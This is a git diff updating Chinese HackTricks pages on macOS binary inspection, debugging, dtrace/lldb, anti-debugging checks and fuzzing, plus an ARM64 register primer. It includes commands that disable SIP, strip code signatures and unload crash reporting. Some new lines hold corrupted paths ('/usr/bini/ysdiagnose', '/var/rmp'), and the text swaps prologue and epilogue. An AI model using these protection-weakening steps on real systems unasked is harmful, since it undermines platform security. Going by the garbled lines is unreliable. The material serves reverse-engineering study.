@@ -59,7 +60,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)
ARCH=arm64e disarm -c -d /path/bin # Get disasembled
jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info
```
-您可以在[**这里下载 jtool2**](http://www.newosxbook.com/tools/jtool.html) 或使用 `brew` 进行安装。
+您可以在[**这里下载jtool2**](http://www.newosxbook.com/tools/jtool.html)或使用 `brew` 进行安装。
```bash
# Install
brew install --cask jtool2
@@ -147,17 +148,17 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
### 函数调用
-当在使用 Objective-C 的二进制文件中调用函数时,编译后的代码不会直接调用该函数,而是会调用 **`objc_msgSend`**。这将调用最终的函数:
+当在使用 Objective-C 的二进制文件中调用函数时,编译后的代码不会直接调用该函数,而是会调用 **`objc_msgSend`**。这将调用最终函数:
![](<../../../.gitbook/assets/image (305).png>)
-此函数期望的参数包括:
+此函数期望的参数为:
* 第一个参数(**self**)是“指向**接收消息的类的实例**的指针”。简单来说,它是方法被调用的对象。如果方法是类方法,则这将是类对象的一个实例(整体),而对于实例方法,self 将指向作为对象的类的实例化实例。
* 第二个参数(**op**)是“处理消息的方法的选择器”。简单来说,这只是**方法的名称**。
* 其余参数是方法所需的任何**值**(op)。
-查看如何在 ARM64 中使用 `lldb` **轻松获取此信息**:
+查看如何在 ARM64 中使用 `lldb` 轻松获取此信息:
{% content-ref url="arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](arm64-basic-assembly.md)
@@ -168,12 +169,12 @@ x64:
| **参数** | **寄存器** | **(用于) objc\_msgSend** |
| ----------------- | -------------------------------------------------------------- | --------------------------------------------------- |
| **第 1 个参数** | **rdi** | **self:方法被调用的对象** |
-| **第 2 个参数** | **rsi** | **op:方法的名称** |
-| **第 3 个参数** | **rdx** | **方法的第一个参数** |
-| **第 4 个参数** | **rcx** | **方法的第二个参数** |
-| **第 5 个参数** | **r8** | **方法的第三个参数** |
-| **第 6 个参数** | **r9** | **方法的第四个参数** |
-| **第 7 及更多参数** | rsp+
(在堆栈上)
| **方法的第五个及更多参数** |
+| **第 2 个参数** | **rsi** | **op:方法的名称** |
+| **第 3 个参数** | **rdx** | **方法的第一个参数** |
+| **第 4 个参数** | **rcx** | **方法的第二个参数** |
+| **第 5 个参数** | **r8** | **方法的第三个参数** |
+| **第 6 个参数** | **r9** | **方法的第四个参数** |
+| **第 7 及更多参数** | rsp+
(在堆栈上)
| **方法的第五个及更多参数** |
### 转储 ObjectiveC 元数据
@@ -195,11 +196,11 @@ objdump --macho --objc-meta-data /path/to/bin
[**class-dump**](https://github.com/nygard/class-dump/) 是生成 ObjectiveC 格式代码中类、类别和协议声明的原始工具。
-由于它已经过时且未得到维护,所以可能无法正常工作。
+由于它已经过时且未维护,所以可能无法正常工作。
#### ICDump
-[**iCDump**](https://github.com/romainthomas/iCDump) 是一款现代跨平台的 Objective-C 类转储工具。与现有工具相比,iCDump 可独立于 Apple 生态系统运行,并提供 Python 绑定。
+[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比,iCDump 可以独立于 Apple 生态系统运行,并提供 Python 绑定。
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@@ -224,7 +225,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
-此外,**Swift 二进制文件可能具有符号**(例如库需要存储符号以便调用其函数)。**这些符号通常以一种难以理解的方式包含有关函数名称和属性的信息,因此它们非常有用,而且有**“解码器”**可以获取原始名称:
+此外,**Swift 二进制文件可能具有符号**(例如库需要存储符号以便调用其函数)。**符号通常以一种难看的方式包含有关函数名称和属性的信息,因此它们非常有用,而且有**“解构器”**可以获取原始名称:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -235,7 +236,7 @@ swift demangle
## 动态分析
{% hint style="warning" %}
-请注意,为了调试二进制文件,**需要禁用 SIP** (`csrutil disable` 或 `csrutil enable --without debug`),或将二进制文件复制到临时文件夹并使用 `codesign --remove-signature ` 去除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
+请注意,为了调试二进制文件,**必须禁用 SIP** (`csrutil disable` 或 `csrutil enable --without debug`),或将二进制文件复制到临时文件夹并使用 `codesign --remove-signature ` 去除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
{% endhint %}
{% hint style="warning" %}
@@ -244,32 +245,32 @@ swift demangle
### APIs
-macOS 提供了一些有关进程信息的有趣的 API:
+macOS 提供了一些有趣的 API,可提供有关进程的信息:
* `proc_info`:这是主要的 API,提供有关每个进程的大量信息。您需要是 root 用户才能获取其他进程的信息,但不需要特殊的授权或 mach 端口。
* `libsysmon.dylib`:它允许通过 XPC 公开的函数获取有关进程的信息,但需要具有 `com.apple.sysmond.client` 授权。
### Stackshot 和 microstackshots
-**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用堆栈。这对于调试、性能分析和了解系统在特定时间点的行为特别有用。在 iOS 和 macOS 上,可以使用多种工具和方法(如工具 **`sample`** 和 **`spindump`**)执行 stackshotting。
+**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用堆栈。这对于调试、性能分析和了解系统在特定时间点的行为非常有用。在 iOS 和 macOS 上,可以使用多种工具和方法(如工具 **`sample`** 和 **`spindump`**)执行 stackshotting。
### Sysdiagnose
-这个工具(`/usr/bin/sysdiagnose`)基本上从您的计算机收集大量信息,执行诸如 `ps`、`zprint` 等十几个不同的命令。
+这个工具(`/usr/bini/ysdiagnose`)基本上会从您的计算机收集大量信息,执行诸如 `ps`、`zprint` 等十几个不同的命令。
-它必须以 **root** 用户身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的授权,如 `com.apple.system-task-ports` 和 `get-task-allow`。
+必须以 **root** 用户身份运行,并且守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的授权,如 `com.apple.system-task-ports` 和 `get-task-allow`。
其 plist 文件位于 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`,声明了 3 个 MachServices:
-* `com.apple.sysdiagnose.CacheDelete`:删除 /var/tmp 中的旧存档
+* `com.apple.sysdiagnose.CacheDelete`:删除 /var/rmp 中的旧存档
* `com.apple.sysdiagnose.kernel.ipc`:特殊端口 23(内核)
-* `com.apple.sysdiagnose.service.xpc`:通过 `Libsysdiagnose` Obj-C 类的用户模式接口。可以传递三个字典参数(`compress`、`display`、`run`)
+* `com.apple.sysdiagnose.service.xpc`:通过 `Libsysdiagnose` Obj-C 类进行用户模式接口。可以传递三个参数的字典(`compress`、`display`、`run`)
### 统一日志
-MacOS 生成了大量日志,当运行应用程序并尝试了解其**操作**时,这些日志可能非常有用。
+MacOS 生成了大量日志,当运行应用程序并尝试了解其**操作**时,这些日志非常有用。
-此外,有些日志将包含标签 `` 以**隐藏**一些**用户**或**计算机**的**可识别**信息。但是,可以**安装证书来披露这些信息**。请参考[**此处**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)的说明。
+此外,有些日志将包含标签 `` 以**隐藏**一些**用户**或**计算机**的**可识别**信息。但是,可以**安装证书来披露这些信息**。请参考[**此处**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)中的说明。
### Hopper
@@ -291,18 +292,18 @@ MacOS 生成了大量日志,当运行应用程序并尝试了解其**操作**
#### 右侧面板
-在右侧面板中,您可以查看一些有趣的信息,如**导航历史记录**(以便了解如何到达当前情况)、**调用图**(您可以看到所有**调用此函数的函数**和所有**此函数调用的函数**)以及**本地变量**信息。
+在右侧面板中,您可以查看一些有趣的信息,如**导航历史记录**(以便了解如何到达当前情况)、**调用图**(您可以看到所有**调用此函数的函数**以及**此函数调用的所有函数**)和**本地变量**信息。
### dtrace
-它允许用户以极其**低级别**访问应用程序,并为用户提供了一种**跟踪** **程序**甚至更改其执行流的方法。Dtrace 使用**探针**,这些探针**分布在内核各处**,位于系统调用的开始和结束等位置。
+它允许用户以极其**低级别**访问应用程序,并为用户提供了一种**跟踪** **程序** 甚至更改其执行流的方法。Dtrace 使用**探针**,这些探针**分布在内核的各个位置**,如系统调用的开始和结束。
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口点触发**。与 DTrace 的交互通过 /dev/dtrace 进行,该设备仅供 root 用户使用。
{% hint style="success" %}
要在不完全禁用 SIP 保护的情况下启用 Dtrace,您可以在恢复模式下执行:`csrutil enable --without dtrace`
-您还可以**`dtrace`** 或**`dtruss`** 您已编译的二进制文件。
+您还可以**`dtrace`** 或 **`dtruss`** 您已编译的二进制文件。
{% endhint %}
可以使用以下命令获取 dtrace 的可用探针:
@@ -315,11 +316,11 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
-探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果您未指定名称的某些部分,Dtrace 将将该部分视为通配符。
+探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果未指定名称的某些部分,Dtrace 将将该部分视为通配符。
要配置 DTrace 以激活探针并指定它们触发时要执行的操作,我们需要使用 D 语言。
-可以在[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)中找到更详细的解释和更多示例。
+更详细的解释和更多示例可在[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)找到
#### 示例
@@ -399,7 +400,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
`ktrace_*` API 来自 `libktrace.dylib`,它们封装了 `Kdebug` 的 API。然后,客户端只需调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 来设置特定代码的回调,然后使用 `ktrace_start` 启动它。
-即使 **SIP 已激活**,也可以使用此工具。
+即使 **SIP activated**,也可以使用这个工具。
您可以使用实用程序 `ktrace` 作为客户端:
```bash
@@ -411,15 +412,15 @@ ktrace trace -s -S -t c -c ls | grep "ls("
这用于进行内核级别的分析,使用`Kdebug`调用构建。
-基本上,会检查全局变量`kernel_debug_active`,如果设置了就调用`kperf_kdebug_handler`,传入`Kdebug`代码和调用内核帧的地址。如果`Kdebug`代码匹配所选代码之一,则获取配置为位图的“actions”(请查看`osfmk/kperf/action.h`以获取选项)。
+基本上,会检查全局变量`kernel_debug_active`,如果设置了,就会调用`kperf_kdebug_handler`,传入`Kdebug`代码和调用内核帧的地址。如果`Kdebug`代码匹配所选代码之一,则会获取配置为位图的“操作”(请查看`osfmk/kperf/action.h`以获取选项)。
Kperf还有一个sysctl MIB表:(作为root)`sysctl kperf`。这些代码可以在`osfmk/kperf/kperfbsd.c`中找到。
-此外,Kperf的功能的一个子集位于`kpc`中,提供有关机器性能计数器的信息。
+此外,Kperf功能的一个子集驻留在`kpc`中,提供有关机器性能计数器的信息。
### ProcessMonitor
-[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) 是一个非常有用的工具,用于检查进程执行的与进程相关的操作(例如,监视进程创建的新进程)。
+[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) 是一个非常有用的工具,用于检查进程执行的相关操作(例如,监视进程创建的新进程)。
### SpriteTree
@@ -434,11 +435,11 @@ Kperf还有一个sysctl MIB表:(作为root)`sysctl kperf`。这些代码
### Crescendo
-[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个具有类似于微软Sysinternal的_Procmon_的外观和感觉的GUI工具。该工具允许启动和停止对各种事件类型的记录,允许通过文件、进程、网络等类别对这些事件进行过滤,并提供将记录的事件保存为json格式的功能。
+[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个具有类似于微软Sysinternal的_Procmon_的外观和感觉的GUI工具。该工具允许启动和停止各种事件类型的记录,允许按文件、进程、网络等类别对这些事件进行过滤,并提供将记录的事件保存为json格式的功能。
### Apple Instruments
-[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是Xcode的开发人员工具的一部分,用于监视应用程序性能,识别内存泄漏并跟踪文件系统活动。
+[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是Xcode的开发人员工具的一部分,用于监视应用程序性能,识别内存泄漏和跟踪文件系统活动。
![](<../../../.gitbook/assets/image (1138).png>)
@@ -451,12 +452,12 @@ fs_usage -w -f network curl #This tracks network actions
```
### TaskExplorer
-[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) 对于查看二进制文件使用的**库**、它正在使用的**文件**以及**网络**连接非常有用。\
+[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) 对于查看二进制文件使用的**库**,它正在使用的**文件**以及**网络**连接非常有用。\
它还会针对**virustotal**检查二进制进程,并显示有关二进制文件的信息。
## PT\_DENY\_ATTACH
-在[**这篇博文**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)中,您可以找到一个示例,说明如何**调试正在运行的守护程序**,该程序使用**`PT_DENY_ATTACH`**来防止调试,即使 SIP 已禁用。
+在[**这篇博文**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)中,您可以找到一个示例,说明如何**调试正在运行的守护程序**,该守护程序使用**`PT_DENY_ATTACH`**来防止调试,即使SIP已禁用。
### lldb
@@ -467,7 +468,7 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
-您可以在家目录中创建一个名为**`.lldbinit`**的文件,并添加以下行以设置使用lldb时的intel风格:
+您可以在家目录下创建一个名为**`.lldbinit`**的文件,并添加以下行以设置使用lldb时的intel风格:
```bash
settings set target.x86-disassembly-flavor intel
```
@@ -475,7 +476,7 @@ settings set target.x86-disassembly-flavor intel
在 lldb 中,使用 `process save-core` 命令来转储一个进程
{% endhint %}
- | |
---|
(lldb) 命令 | 描述 |
run (r) | 开始执行,直到触发断点或进程终止。 |
continue (c) | 继续调试进程的执行。 |
nexti (n / ni) | 执行下一条指令。该命令会跳过函数调用。 |
stepi (s / si) | 执行下一条指令。与 nexti 命令不同,该命令会进入函数调用。 |
finish (f) | 执行当前函数中剩余的指令,返回并停止。 |
control + c | 暂停执行。如果进程已经运行(r)或继续(c),这会导致进程停止在当前执行位置。 |
breakpoint (b) | b main #调用 main 函数 b `main #bin 的主函数 b set -n main --shlib #指定 bin 的主函数 b -[NSDictionary objectForKey:] b -a 0x0000000100004bd9 br l #断点列表 br e/dis #启用/禁用断点 breakpoint delete |
help | help breakpoint #获取断点命令的帮助 help memory write #获取写入内存的帮助 |
reg | reg read reg read $rax reg read $rax --format format reg write $rip 0x100035cc0 |
x/s | 将内存显示为以空字符结尾的字符串。 |
x/i | 将内存显示为汇编指令。 |
x/b | 将内存显示为字节。 |
print object (po) | 这将打印参数引用的对象 po $raw {
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
请注意,大多数 Apple 的 Objective-C API 或方法返回对象,因此应通过“print object”(po)命令显示。如果 po 不产生有意义的输出,请使用 x/b |
memory | memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA memory write -f s $rip+0x11f+7 "AAAA" #在地址写入 AAAA |
disassembly | dis #反汇编当前函数 dis -n #反汇编函数 dis -n -b #反汇编函数 dis -c 6 #反汇编 6 行 dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址 dis -p -c 4 # 从当前地址开始反汇编 |
parray | parray 3 (char **)$x1 # 检查 x1 寄存器中的 3 个组件的数组 |
+ | |
---|
(lldb) 命令 | 描述 |
run (r) | 开始执行,直到触发断点或进程终止。 |
continue (c) | 继续调试进程的执行。 |
nexti (n / ni) | 执行下一条指令。该命令会跳过函数调用。 |
stepi (s / si) | 执行下一条指令。与 nexti 命令不同,该命令会进入函数调用。 |
finish (f) | 执行当前函数中剩余的指令,返回并停止。 |
control + c | 暂停执行。如果进程已经运行(r)或继续(c),这会导致进程停止在当前执行位置。 |
breakpoint (b) | b main #调用名为 main 的任何函数 b `main #二进制文件的主函数 b set -n main --shlib #指定二进制文件的主函数 b -[NSDictionary objectForKey:] b -a 0x0000000100004bd9 br l #断点列表 br e/dis #启用/禁用断点 breakpoint delete |
help | help breakpoint #获取断点命令的帮助 help memory write #获取写入内存的帮助 |
reg | reg read reg read $rax reg read $rax --format format reg write $rip 0x100035cc0 |
x/s | 将内存显示为以空字符结尾的字符串。 |
x/i | 将内存显示为汇编指令。 |
x/b | 将内存显示为字节。 |
print object (po) | 这将打印参数引用的对象 po $raw {
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
请注意,大多数 Apple 的 Objective-C API 或方法返回对象,因此应通过“print object”(po)命令显示。如果 po 不产生有意义的输出,请使用 x/b |
memory | memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA memory write -f s $rip+0x11f+7 "AAAA" #在地址写入 AAAA |
disassembly | dis #反汇编当前函数 dis -n #反汇编函数 dis -n -b #反汇编函数 dis -c 6 #反汇编 6 行 dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址 dis -p -c 4 # 从当前地址开始反汇编 |
parray | parray 3 (char **)$x1 # 检查 x1 寄存器中的 3 个组件的数组 |
{% hint style="info" %}
在调用 **`objc_sendMsg`** 函数时,**rsi** 寄存器保存方法的名称,作为以空字符结尾的(“C”)字符串。要通过 lldb 打印名称,执行以下命令:
@@ -490,17 +491,17 @@ settings set target.x86-disassembly-flavor intel
### 反动态分析
-#### VM 检测
+#### 虚拟机检测
* 命令 **`sysctl hw.model`** 在 **主机为 MacOS** 时返回 "Mac",但在虚拟机上返回其他内容。
* 一些恶意软件尝试通过调整 **`hw.logicalcpu`** 和 **`hw.physicalcpu`** 的值来检测是否为虚拟机。
-* 一些恶意软件还可以根据 MAC 地址(00:50:56)来判断主机是否为 VMware。
-* 也可以通过简单的代码来判断进程是否正在被调试:
+* 一些恶意软件还可以根据 MAC 地址(00:50:56)来**检测**主机是否为 **VMware**。
+* 也可以通过简单的代码来检查进程是否正在被调试:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
-* 还可以使用 **`ptrace`** 系统调用以 **`PT_DENY_ATTACH`** 标志调用。这会阻止调试器附加和跟踪。
-* 可以检查是否正在 **导入 sysctl** 或 **ptrace** 函数(但恶意软件可能会动态导入)。
+* 还可以使用 **`ptrace`** 系统调用以 **`PT_DENY_ATTACH`** 标志调用。这会**阻止**调试器附加和跟踪。
+* 可以检查是否**导入了** **`sysctl`** 或 **`ptrace`** 函数(但恶意软件可能会动态导入)。
* 如在此文中所述,“[击败反调试技术:macOS ptrace 变种](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
-“_消息“进程 # 以状态 = 45 (0x0000002d) 退出”通常是调试目标正在使用 **PT\_DENY\_ATTACH** 的明显迹象_”
+“_消息“进程 # 退出,状态 = 45(0x0000002d)”通常是调试目标正在使用 **PT\_DENY\_ATTACH** 的明显迹象_”
## Core Dumps
核心转储在以下情况下创建:
@@ -519,7 +520,7 @@ ReportCrash **分析崩溃进程并将崩溃报告保存到磁盘**。崩溃报
对于在**每个用户 launchd 上下文中运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\
对于守护程序、在**系统 launchd 上下文中运行的其他进程**和其他特权进程,ReportCrash 作为 LaunchDaemon 运行,并将崩溃报告保存在系统的 `/Library/Logs/DiagnosticReports` 中。
-如果您担心**崩溃报告被发送到 Apple**,您可以禁用它们。如果不担心,崩溃报告可以有助于**找出服务器崩溃的原因**。
+如果您担心崩溃报告**被发送到 Apple**,您可以禁用它们。如果不禁用,崩溃报告可以有助于**找出服务器崩溃的原因**。
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -585,7 +586,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
-它可以与 macOS GUI 工具一起 "**just works"**。请注意,一些 macOS 应用程序具有一些特定要求,如唯一文件名、正确的扩展名,需要从沙盒中读取文件 (`~/Library/Containers/com.apple.Safari/Data`)...
+它可以与 macOS GUI 工具 "**just works"**。请注意,一些 macOS 应用程序具有一些特定要求,如唯一文件名、正确的扩展名,需要从沙盒 (`~/Library/Containers/com.apple.Safari/Data`) 读取文件...
一些示例:
@@ -633,7 +634,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
-[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到 **窃取恶意软件** 的 **侵害**。
+[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
@@ -641,16 +642,17 @@ WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫
{% embed url="https://whiteintel.io" %}
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
index e4e1aa8ba..2c9eba842 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@@ -1,22 +1,23 @@
# ARM64v8简介
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
## **异常级别 - EL(ARM64v8)**
-在ARMv8架构中,执行级别称为异常级别(ELs),定义了执行环境的特权级别和功能。有四个异常级别,从EL0到EL3,每个都有不同的用途:
+在ARMv8架构中,执行级别称为异常级别(ELs),定义了执行环境的特权级别和功能。有四个异常级别,从EL0到EL3,每个都有不同的目的:
1. **EL0 - 用户模式**:
* 这是最低特权级别,用于执行常规应用程序代码。
@@ -35,45 +36,45 @@
## **寄存器(ARM64v8)**
-ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储**64位**(8字节)的值。对于需要仅使用32位值的操作,可以使用相同的寄存器以32位模式访问,名称为w0到w30。
+ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**(8字节)值。对于需要仅使用32位值的操作,可以使用名称w0到w30以32位模式访问相同的寄存器。
-1. **`x0`** 到 **`x7`** - 这些通常用作临时寄存器和传递给子例程的参数。
-* **`x0`** 还携带函数的返回数据
+1. **`x0`**到**`x7`** - 这些通常用作临时寄存器和用于向子例程传递参数。
+* **`x0`**还携带函数的返回数据
2. **`x8`** - 在Linux内核中,`x8`用作`svc`指令的系统调用号。**在macOS中使用x16!**
-3. **`x9`** 到 **`x15`** - 更多临时寄存器,通常用于局部变量。
-4. **`x16`** 和 **`x17`** - **函数内调用寄存器**。用于立即值的临时寄存器。它们还用于间接函数调用和PLT(过程链接表)存根。
-* **`x16`** 在**macOS**中用作**`svc`**指令的**系统调用号**。
-5. **`x18`** - **平台寄存器**。它可以用作通用寄存器,但在某些平台上,此寄存器保留用于特定于平台的用途:在Windows中指向当前线程环境块,或者在Linux内核中指向当前**执行任务结构**。
-6. **`x19`** 到 **`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供调用者使用,因此它们存储在堆栈中,并在返回给调用者之前恢复。
-7. **`x29`** - **帧指针** 用于跟踪堆栈帧。当因为调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈中**,并且新的帧指针地址(**`sp`**地址)被**存储在此寄存器中**。
-* 尽管通常用作**局部变量的引用**,但此寄存器也可以用作**通用寄存器**。
-8. **`x30`** 或 **`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,通过将**`pc`**值存储在此寄存器中来保存**返回地址**。
+3. **`x9`**到**`x15`** - 更多临时寄存器,通常用于局部变量。
+4. **`x16`**和**`x17`** - **函数内调用寄存器**。用于立即值的临时寄存器。它们还用于间接函数调用和PLT(过程链接表)存根。
+* **`x16`**在**macOS**中用作**`svc`**指令的**系统调用号**。
+5. **`x18`** - **平台寄存器**。它可以用作通用寄存器,但在某些平台上,此寄存器保留用于特定于平台的用途:在Windows中用作当前线程环境块的指针,或者在Linux内核中用作指向当前**执行任务结构**的指针。
+6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供调用者使用,因此它们存储在堆栈中,并在返回给调用者之前恢复。
+7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当因为调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈中**,并且新的帧指针地址(**`sp`**地址)被**存储在此寄存器中**。
+* 尽管通常用作**局部变量的参考**,但此寄存器也可以用作**通用寄存器**。
+8. **`x30`**或**`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,通过将**`pc`**值存储在此寄存器中来保存**返回地址**。
* 它也可以像其他寄存器一样使用。
* 如果当前函数将调用新函数并因此覆盖`lr`,它将在开始时将其存储在堆栈中,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储`fp`和`lr`,生成空间并获取新的`fp`),并在结束时恢复它,这是序言(`ldp x29, x30, [sp], #48; ret` -> 恢复`fp`和`lr`并返回)。
9. **`sp`** - **堆栈指针**,用于跟踪堆栈顶部。
-* **`sp`**的值应始终保持至少**四字对齐**,否则可能会发生对齐异常。
-10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR),用于将**`pc`**地址存储在**`lr`**(链接寄存器)中。
+* **`sp`**值应始终保持至少**四字对齐**,否则可能会发生对齐异常。
